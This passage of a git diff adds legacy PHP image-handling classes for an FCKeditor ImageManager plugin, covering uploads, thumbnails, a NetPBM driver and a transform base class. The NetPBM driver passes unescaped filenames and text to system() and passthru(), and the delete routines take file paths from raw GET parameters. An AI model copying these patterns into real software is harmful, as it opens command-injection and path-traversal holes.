+       function isThumb($file) 
+       {
+               $len = strlen($this->config['thumbnail_prefix']);
+               if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+                       Return true;
+               else
+                       Return false;
+       }
+
+       /**
+        * Check if the given directory is a thumbnail directory.
+        * @param string $entry directory name
+        * @return true if it is a thumbnail directory, false otherwise
+        */
+       function isThumbDir($entry) 
+       {
+               if($this->config['thumbnail_dir'] == false
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+                       Return false;           
+               else
+                       Return ($entry == $this->config['thumbnail_dir']);
+       }
+
+       /**
+        * Check if the given file is a tmp file.
+        * @param string $file file name
+        * @return boolean true if it is a tmp file, false otherwise
+        */
+       function isTmpFile($file) 
+       {
+               $len = strlen($this->config['tmp_prefix']);
+               if(substr($file,0,$len)==$this->config['tmp_prefix'])
+                       Return true;
+               else
+                       Return false;           
+       }
+
+       /**
+        * For a given image file, get the respective thumbnail filename
+        * no file existence check is done.
+        * @param string $fullpathfile the full path to the image file
+        * @return string of the thumbnail file
+        */
+       function getThumbName($fullpathfile) 
+       {
+               $path_parts = pathinfo($fullpathfile);
+               
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($path_parts['dirname'],$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               if(!is_dir($path))
+                                       Files::createFolder($path);
+                               Return Files::makeFile($path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail name');
+                       }
+               }
+       }
+       
+       /**
+        * Similar to getThumbName, but returns the URL, base on the
+        * given base_url in config.inc.php
+        * @param string $relative the relative image file name, 
+        * relative to the base_dir path
+        * @return string the url of the thumbnail
+        */
+       function getThumbURL($relative) 
+       {
+               $path_parts = pathinfo($relative);
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+               if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($this->getBaseURL(),$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               $url_path = Files::makePath($this->getBaseURL(), $path);
+                               Return Files::makeFile($url_path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail url');
+                       }
+
+               }
+       }
+
+       /**
+        * Check if the given path is part of the subdirectories
+        * under the base_dir.
+        * @param string $path the relative path to be checked
+        * @return boolean true if the path exists, false otherwise
+        */
+       function validRelativePath($path) 
+       {
+               $dirs = $this->getDirs();
+               if($path == '/' || $path == '')
+                       Return true;
+               //check the path given in the url against the 
+               //list of paths in the system.
+               for($i = 0; $i < count($dirs); $i++)
+               {
+                       $key = key($dirs);
+                       //we found the path
+                       if($key == $path)
+                               Return true;
+               
+                       next($dirs);
+               }               
+               Return false;
+       }
+
+       /**
+        * Process uploaded files, assumes the file is in 
+        * $_FILES['upload'] and $_POST['dir'] is set.
+        * The dir must be relative to the base_dir and exists.
+        * If 'validate_images' is set to true, only file with
+        * image dimensions will be accepted.
+        * @return null
+        */
+       function processUploads() 
+       {
+               if($this->isValidBase() == false)
+                       return;
+
+               $relative = null;
+
+               if(isset($_POST['dir'])) 
+                       $relative = rawurldecode($_POST['dir']);
+               else
+                       return;
+
+               //check for the file, and must have valid relative path
+               if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+               {
+                       return $this->_processFiles($relative, $_FILES['upload']);
+               }
+       }
+
+       /**
+        * Process upload files. The file must be an 
+        * uploaded file. If 'validate_images' is set to
+        * true, only images will be processed. Any duplicate
+        * file will be renamed. See Files::copyFile for details
+        * on renaming.
+        * @param string $relative the relative path where the file
+        * should be copied to.
+        * @param array $file the uploaded file from $_FILES
+        * @return boolean true if the file was processed successfully, 
+        * false otherwise
+        */
+       function _processFiles($relative, $file)
+       {
+               
+               if($file['error']!=0)
+               {
+                       Return false;
+               }
+
+               if(!is_file($file['tmp_name']))
+               {
+                       Return false;
+               }
+
+               if(!is_uploaded_file($file['tmp_name']))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return false;
+               }
+               
+
+               if($this->config['validate_images'] == true)
+               {
+                       $imgInfo = @getImageSize($file['tmp_name']);
+                       if(!is_array($imgInfo))
+                       {
+                               Files::delFile($file['tmp_name']);
+                               Return false;
+                       }
+               }
+
+               //now copy the file
+               $path = Files::makePath($this->getBaseDir(),$relative);
+               $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+       // constrain image size
+       if(!is_int($result))
+       {
+           $img = Image_Transform::factory(IMAGE_CLASS);
+           $img->load($path . $result);
+
+           // If maximum size is specified, constrain image to it.
+           if ($this->config['maxWidth'] > 0 && $this->config['maxHeight'] > 0 && ($img->img_x > $this->config['maxWidth'] || $img->img_y > $this->config['maxHeight']))
+           {
+               $percentage = min($this->config['maxWidth']/$img->img_x, $this->config['maxHeight']/$img->img_y);
+               $img->scale($percentage);
+           }
+           $img->save($path . $result);
+           $img->free();
+       }
+       
+               //no copy error
+               if(!is_int($result))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return $result;
+               }
+
+               //delete tmp files.
+               Files::delFile($file['tmp_name']);
+               Return false;
+       }
+
+       /**
+        * Get the URL of the relative file.
+        * basically appends the relative file to the 
+        * base_url given in config.inc.php
+        * @param string $relative a file the relative to the base_dir
+        * @return string the URL of the relative file.
+        */
+       function getFileURL($relative) 
+       {
+               Return Files::makeFile($this->getBaseURL(),$relative);
+       }
+
+       /**
+        * Get the fullpath to a relative file.
+        * @param string $relative the relative file.
+        * @return string the full path, .ie. the base_dir + relative.
+        */
+       function getFullPath($relative) 
+       {
+               Return Files::makeFile($this->getBaseDir(),$relative);;
+       }
+
+       /**
+        * Get the default thumbnail.
+        * @return string default thumbnail, empty string if 
+        * the thumbnail doesn't exist.
+        */
+       function getDefaultThumb() 
+       {
+               if(is_file($this->config['default_thumbnail']))
+                       Return $this->config['default_thumbnail'];
+               else 
+                       Return '';
+       }
+
+
+       /**
+        * Get the thumbnail url to be displayed. 
+        * If the thumbnail exists, and it is up-to-date
+        * the thumbnail url will be returns. If the 
+        * file is not an image, a default image will be returned.
+        * If it is an image file, and no thumbnail exists or 
+        * the thumbnail is out-of-date (i.e. the thumbnail 
+        * modified time is less than the original file)
+        * then a thumbs.php?img=filename.jpg is returned.
+        * The thumbs.php url will generate a new thumbnail
+        * on the fly. If the image is less than the dimensions
+        * of the thumbnails, the image will be display instead.
+        * @param string $relative the relative image file.
+        * @return string the url of the thumbnail, be it
+        * actually thumbnail or a script to generate the
+        * thumbnail on the fly.
+        */
+       function getThumbnail($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+               //not a file???
+               if(!is_file($fullpath))
+                       Return $this->getDefaultThumb();
+
+               $imgInfo = @getImageSize($fullpath);
+               
+               //not an image
+               if(!is_array($imgInfo))
+                       Return $this->getDefaultThumb();
+
+               //the original image is smaller than thumbnails,
+               //so just return the url to the original image.
+               if ($imgInfo[0] <= $this->config['thumbnail_width']
+                && $imgInfo[1] <= $this->config['thumbnail_height'])
+                       Return $this->getFileURL($relative);
+
+               $thumbnail = $this->getThumbName($fullpath);
+               
+               //check for thumbnails, if exists and
+               // it is up-to-date, return the thumbnail url
+               if(is_file($thumbnail))
+               {
+                       if(filemtime($thumbnail) >= filemtime($fullpath))
+                               Return $this->getThumbURL($relative);
+               }
+
+               //well, no thumbnail was found, so ask the thumbs.php
+               //to generate the thumbnail on the fly.
+               Return 'thumbs.php?img='.rawurlencode($relative);
+       }
+
+       /**
+        * Delete and specified files.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteFiles() 
+       {
+               if(isset($_GET['delf']))
+                       $this->_delFile(rawurldecode($_GET['delf']));
+       }
+
+       /**
+        * Delete and specified directories.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteDirs() 
+       {
+                if(isset($_GET['deld']))
+                       return $this->_delDir(rawurldecode($_GET['deld']));             
+                else
+                        Return false;
+       }
+
+       /**
+        * Delete the relative file, and any thumbnails.
+        * @param string $relative the relative file.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delFile($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+               
+               //check that the file is an image
+               if($this->config['validate_images'] == true)
+               {
+                       if(!is_array($this->getImageInfo($fullpath)))
+                               return false; //hmmm not an Image!!???
+               }
+
+               $thumbnail = $this->getThumbName($fullpath);
+
+               if(Files::delFile($fullpath))
+                       Return Files::delFile($thumbnail);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete directories recursively.
+        * @param string $relative the relative path to be deleted.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delDir($relative) 
+       {
+               $fullpath = Files::makePath($this->getBaseDir(),$relative);
+               if($this->countFiles($fullpath) <= 0)
+                       return Files::delFolder($fullpath,true); //delete recursively.
+               else
+                       Return false;
+       }
+
+       /**
+        * Create new directories.
+        * If in safe_mode, nothing happens.
+        * @return boolean true if created, false otherwise.
+        */
+       function processNewDir() 
+       {
+               if($this->config['safe_mode'] == true)
+                       Return false;
+
+               if(isset($_GET['newDir']) && isset($_GET['dir']))
+               {
+                       $newDir = rawurldecode($_GET['newDir']);
+                       $dir = rawurldecode($_GET['dir']);
+                       $path = Files::makePath($this->getBaseDir(),$dir);
+                       $fullpath = Files::makePath($path, Files::escape($newDir));
+                       if(is_dir($fullpath))
+                               Return false;
+
+                       Return Files::createFolder($fullpath);
+               }
+       }
+
+       /**
+        * Do some graphic library method checkings
+        * @param string $library the graphics library, GD, NetPBM, or IM.
+        * @param string $method the method to check.
+        * @return boolean true if able, false otherwise.
+        */
+       function validGraphicMethods($library,$method)
+       {
+               switch ($library)
+               {
+                       case 'GD':
+                               return $this->_checkGDLibrary($method);
+                               break;
+                       case 'NetPBM':
+                               return $this->_checkNetPBMLibrary($method);
+                               break;
+                       case 'IM':
+                               return $this->_checkIMLibrary($method);
+               }
+               return false;
+       }
+
+       function _checkIMLibrary($method)
+       {
+               //ImageMagick goes throught 1 single executable
+               if(is_file(Files::fixPath(IMAGE_TRANSFORM_LIB_PATH).'convert'))
+                       return true;
+               else
+                       return false;
+       }
+
+       /**
+        * Check the GD library functionality.
+        * @param string $library the graphics library, GD, NetPBM, or IM.
+        * @return boolean true if able, false otherwise.
+        */
+       function _checkGDLibrary($method)
+       {
+               $errors = array();
+               switch($method)
+               {
+                       case 'create':
+                               $errors['createjpeg'] = function_exists('imagecreatefromjpeg');
+                               $errors['creategif'] = function_exists('imagecreatefromgif');
+                               $errors['createpng'] = function_exists('imagecreatefrompng');
+                               break;
+                       case 'modify':
+                               $errors['create'] = function_exists('ImageCreateTrueColor') || function_exists('ImageCreate');
+                               $errors['copy'] = function_exists('ImageCopyResampled') || function_exists('ImageCopyResized');
+                               break;
+                       case 'save':
+                               $errors['savejpeg'] = function_exists('imagejpeg');
+                               $errors['savegif'] = function_exists('imagegif');
+                               $errors['savepng'] = function_exists('imagepng');
+                               break;
+               }
+
+               return $errors;
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php b/fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php
new file mode 100644 (file)
index 0000000..9590dfb
--- /dev/null
@@ -0,0 +1,257 @@
+<?php
+/***********************************************************************
+** Title.........:  NetPBM Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  NetPBM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: NetPBM.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+//
+// Image Transformation interface using command line NetPBM
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_NetPBM extends Image_Transform
+{
+
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     * Class Constructor
+     */
+    function Image_Transform_Driver_NetPBM()
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+            
+        return true;
+    } // End function Image_NetPBM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        //echo $image;
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resizes the image
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+        // there's no technical reason why resize can't be called multiple
+        // times...it's just silly to do so
+
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                           "pnmscale -width $new_x -height $new_y";
+
+        $this->_set_new_x($new_x);
+        $this->_set_new_y($new_y);
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                            "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
+    }
+
+    /**
+     * Rotates the image
+     *
+     * @param int $angle The angle to rotate the image through
+     */
+    function rotate($angle)
+    {
+        $angle = -1*floatval($angle);
+
+        if($angle > 90)
+        {   
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";
+            $this->rotate(-1*($angle-90));
+        }
+        else if ($angle < -90)
+        {
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";
+            $this->rotate(-1*($angle+90));
+        }
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";
+    } // End rotate
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal) 
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";
+    }
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma = 1.0) {
+        $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";
+    }
+
+    /**
+     * adds text to an image
+     *
+     * @param   array   options     Array contains options
+     *             array(
+     *                  'text'          // The string to draw
+     *                  'x'             // Horizontal position
+     *                  'y'             // Vertical Position
+     *                  'Color'         // Font color
+     *                  'font'          // Font to be used
+     *                  'size'          // Size of the fonts in pixel
+     *                  'resize_first'  // Tell if the image has to be resized
+     *                                  // before drawing the text
+     *                   )
+     *
+     * @return none
+     */
+    function addText($params)
+    {
+        $default_params = array('text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false);
+        // we ignore 'resize_first' since the more logical approach would be
+        // for the user to just call $this->_resize() _first_ ;)
+        extract(array_merge($default_params, $params));
+        $this->command[] = "ppmlabel -angle $angle -colour $color -size "
+                           ."$size -x $x -y ".$y+$size." -text \"$text\"";
+    } // End addText
+
+    function _postProcess($type, $quality, $save_type)
+    {
+        $type = is_null($type) || $type==''? $this->type : $type;
+        $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;
+        //echo "TYPE:". $this->type;
+        array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH
+                      . $type.'topnm '. $this->image);
+        $arg = '';
+        switch(strtolower($save_type)){
+            case 'gif':
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";
+                break;
+            case 'jpg':
+            case 'jpeg':
+                $arg = "--quality=$quality";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";
+                break;
+            default:
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";
+                break;
+        } // switch
+        return implode('|', $this->command);
+    } 
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string the name of the file to write to
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function save($filename, $type=null, $quality = 85)
+    {
+        $cmd = $this->_postProcess('', $quality, $type) . ">$filename";
+            
+               //if we have windows server
+        if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
+                       $cmd = ereg_replace('/','\\',$cmd);
+        //echo $cmd."##";
+        $output = system($cmd);
+               error_log('NETPBM: '.$cmd);
+               //error_log($output);
+        $this->command = array();
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function display($type = null, $quality = 75)
+    {
+        header('Content-type: image/' . $type);
+        $cmd = $this->_postProcess($type, $quality);
+        
+        passthru($cmd);
+        $this->command = array();
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        // there is no image handle here
+        return true;
+    }
+
+
+} // End class NetPBM
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php b/fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php
new file mode 100644 (file)
index 0000000..7527dc7
--- /dev/null
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Create thumbnails.
+ * @author Wei Zhuo
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+
+require_once('Transform.php');
+
+/**
+ * Thumbnail creation
+ * @author Wei Zhuo
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ * @subpackage Images
+ */
+class Thumbnail 
+{
+       /**
+        * Graphics driver, GD, NetPBM or ImageMagick.
+        */
+       var $driver;
+
+       /**
+        * Thumbnail default width.
+        */
+       var $width = 96;
+
+       /**
+        * Thumbnail default height.
+        */
+       var $height = 96;
+
+       /**
+        * Thumbnail default JPEG quality.
+        */
+       var $quality = 85;
+
+       /**
+        * Thumbnail is proportional
+        */
+       var $proportional = true;
+
+       /**
+        * Default image type is JPEG.
+        */
+       var $type = 'jpeg';
+
+       /**
+        * Create a new Thumbnail instance.
+        * @param int $width thumbnail width
+        * @param int $height thumbnail height
+        */
+       function Thumbnail($width=96, $height=96) 
+       {
+               $this->driver = Image_Transform::factory(IMAGE_CLASS);
+               $this->width = $width;
+               $this->height = $height;
+       }
+
+       /**
+        * Create a thumbnail.
+        * @param string $file the image for the thumbnail
+        * @param string $thumbnail if not null, the thumbnail will be saved
+        * as this parameter value.
+        * @return boolean true if thumbnail is created, false otherwise
+        */
+       function createThumbnail($file, $thumbnail=null) 
+       {
+               if(!is_file($file)) 
+                       Return false;
+
+               //error_log('Creating Thumbs: '.$file);
+
+               $this->driver->load($file);
+
+               if($this->proportional) 
+               {
+                       $width = $this->driver->img_x;
+                       $height = $this->driver->img_y;
+
+                       if ($width > $height)
+                               $this->height = intval($this->width/$width*$height);
+                       else if ($height > $width)
+                               $this->width = intval($this->height/$height*$width);
+               }
+
+               $this->driver->resize($this->width, $this->height);
+
+               if(is_null($thumbnail)) 
+                       $this->save($file);
+               else
+                       $this->save($thumbnail);
+
+
+               $this->free();
+
+               if(is_file($thumbnail)) 
+                       Return true;
+               else
+                       Return false;
+       }
+
+       /**
+        * Save the thumbnail file.
+        * @param string $file file name to be saved as.
+        */
+       function save($file) 
+       {
+               $this->driver->save($file);
+       }
+
+       /**
+        * Free up the graphic driver resources.
+        */
+       function free() 
+       {
+               $this->driver->free();
+       }
+}
+
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Transform.php b/fckeditor/editor/plugins/ImageManager/Classes/Transform.php
new file mode 100644 (file)
index 0000000..ea1642d
--- /dev/null
@@ -0,0 +1,569 @@
+<?php
+/***********************************************************************
+** Title.........:  Image Transformation Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  Transform.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+                    
+                    Added a few extra,
+                        - create unique filename in a particular directory,
+                          used for temp image files.
+                        - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// |          Vincent Oostindie <vincent@sunlight.tmfweb.nl>              |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation.  Provides default
+ * |            implementations (in OO lingo virtual methods) for
+ * |            the actual Image implementations as well as a bunch of
+ * |            maths methods.
+ * |
+ * +-Image_GD   The Image implementation for the PHP GD extension .  Inherits
+ *              Image_Resize
+ *              When calling DB::setup for GD images the object returned is an
+ *              instance of this class.
+ *
+ * @package  Image Resize
+ * @version  1.00
+ * @author   Peter Bowyer <peter@mapledesign.co.uk>
+ * @since    PHP 4.0
+ */
+Class Image_Transform
+{
+    /**
+     * Name of the image file
+     * @var string
+     */
+    var $image = '';
+    /**
+     * Type of the image file (eg. jpg, gif png ...)
+     * @var string
+     */
+    var $type = '';
+    /**
+     * Original image width in x direction
+     * @var int
+     */
+    var $img_x = '';
+    /**
+     * Original image width in y direction
+     * @var int
+     */
+    var $img_y = '';
+    /**
+     * New image width in x direction
+     * @var int
+     */
+    var $new_x = '';
+    /**
+     * New image width in y direction
+     * @var int
+     */
+    var $new_y = '';
+    /**
+     * Path the the library used
+     * e.g. /usr/local/ImageMagick/bin/ or
+     * /usr/local/netpbm/
+     */
+    var $lib_path = '';
+    /**
+     * Flag to warn if image has been resized more than once before displaying
+     * or saving.
+     */
+     var $resized = false;
+
+
+     var $uid = '';
+
+     var $lapse_time =900; //15 mins
+
+    /**
+     * Create a new Image_resize object
+     *
+     * @param string $driver name of driver class to initialize
+     *
+     * @return mixed a newly created Image_Transform object, or a PEAR
+     * error object on error
+     *
+     * @see PEAR::isError()
+     * @see Image_Transform::setOption()
+     */
+    function &factory($driver)
+    {
+        if ('' == $driver) {
+            die("No image library specified... aborting.  You must call ::factory() with one parameter, the library to load.");
+
+        }
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+        include_once "$driver.php";
+
+        $classname = "Image_Transform_Driver_{$driver}";
+        $obj =& new $classname;
+        return $obj;
+    }
+
+
+    /**
+     * Resize the Image in the X and/or Y direction
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access public
+     *
+     * @param mixed $new_x (0, number, percentage 10% or 0.1)
+     * @param mixed $new_y (0, number, percentage 10% or 0.1)
+     *
+     * @return mixed none or PEAR_error
+     */
+    function resize($new_x = 0, $new_y = 0)
+    {
+        // 0 means keep original size
+        $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+        $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+        // Now do the library specific resizing.
+        return $this->_resize($new_x, $new_y);
+    } // End resize
+
+
+    /**
+     * Scale the image to have the max x dimension specified.
+     *
+     * @param int $new_x Size to scale X-dimension to
+     * @return none
+     */
+    function scaleMaxX($new_x)
+    {
+        $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeX
+
+    /**
+     * Scale the image to have the max y dimension specified.
+     *
+     * @access public
+     * @param int $new_y Size to scale Y-dimension to
+     * @return none
+     */
+    function scaleMaxY($new_y)
+    {
+        $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeY
+
+    /**
+     * Scale Image to a maximum or percentage
+     *
+     * @access public
+     * @param mixed (number, percentage 10% or 0.1)
+     * @return mixed none or PEAR_error
+     */
+    function scale($size)
+    {
+        if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+            return $this->scaleByPercentage(substr($size, 0, -1));
+        } elseif ($size < 1) {
+            return $this->scaleByFactor($size);
+        } else {
+            return $this->scaleByLength($size);
+        }
+    } // End scale
+
+    /**
+     * Scales an image to a percentage of its original size.  For example, if
+     * my image was 640x480 and I called scaleByPercentage(10) then the image
+     * would be resized to 64x48
+     *
+     * @access public
+     * @param int $size Percentage of original size to scale to
+     * @return none
+     */
+    function scaleByPercentage($size)
+    {
+        return $this->scaleByFactor($size / 100);
+    } // End scaleByPercentage
+
+    /**
+     * Scales an image to a factor of its original size.  For example, if
+     * my image was 640x480 and I called scaleByFactor(0.5) then the image
+     * would be resized to 320x240.
+     *
+     * @access public
+     * @param float $size Factor of original size to scale to
+     * @return none
+     */
+    function scaleByFactor($size)
+    {
+        $new_x = round($size * $this->img_x, 0);
+        $new_y = round($size * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByFactor
+
+    /**
+     * Scales an image so that the longest side has this dimension.
+     *
+     * @access public
+     * @param int $size Max dimension in pixels
+     * @return none
+     */
+    function scaleByLength($size)
+    {
+         if ($this->img_x >= $this->img_y) {
+            $new_x = $size;
+            $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        } else {
+            $new_y = $size;
+            $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        }
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByLength
+
+
+    /**
+     *
+     * @access public
+     * @return void
+     */
+    function _get_image_details($image)
+    {
+        //echo $image;
+        $data = @GetImageSize($image);
+        #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+        # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+        if (is_array($data)){
+            switch($data[2]){
+                case 1:
+                    $type = 'gif';
+                    break;
+                case 2:
+                    $type = 'jpeg';
+                    break;
+                case 3:
+                    $type = 'png';
+                    break;
+                case 4:
+                    $type = 'swf';
+                    break;
+                case 5:
+                    $type = 'psd';
+                case 6:
+                    $type = 'bmp';
+                case 7:
+                case 8:
+                    $type = 'tiff';
+                default:
+                    echo("We do not recognize this image format");
+            }
+            $this->img_x = $data[0];
+            $this->img_y = $data[1];
+            $this->type = $type;
+
+            return true;
+        } else {
+            echo("Cannot fetch image or images details.");
+            return null;
+        }
+        /*
+        $output = array(
+                        'width' => $data[0],
+                        'height' => $data[1],
+                        'type' => $type
+                        );
+        return $output;
+        */
+    }
+
+
+    /**
+     * Parse input and convert
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access private
+     *
+     * @param mixed $new_size (0, number, percentage 10% or 0.1)
+     * @param int $old_size
+     *
+     * @return mixed none or PEAR_error
+     */
+    function _parse_size($new_size, $old_size)
+    {
+        if ('%' == $new_size) {
+            $new_size = str_replace('%','',$new_size);
+            $new_size = $new_size / 100;
+        }
+        if ($new_size > 1) {
+            return (int) $new_size;
+        } elseif ($new_size == 0) {
+            return (int) $old_size;
+        } else {
+            return (int) round($new_size * $old_size, 0);
+        }
+    }
+
+
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+    //delete old tmp files, and allow only 1 file per remote host.
+    function cleanUp($id, $dir)
+    {
+        $d = dir($dir);
+        $id_length = strlen($id);
+
+        while (false !== ($entry = $d->read())) {
+            if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+            {
+                //echo filemtime($this->directory.'/'.$entry)."<br>"; 
+                //echo time();
+
+                if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+                    unlink($dir.'/'.$entry);
+
+                if (substr($entry, 1, $id_length) == $id)
+                {
+                    if (is_file($dir.'/'.$entry))
+                        unlink($dir.'/'.$entry);
+                }
+            }
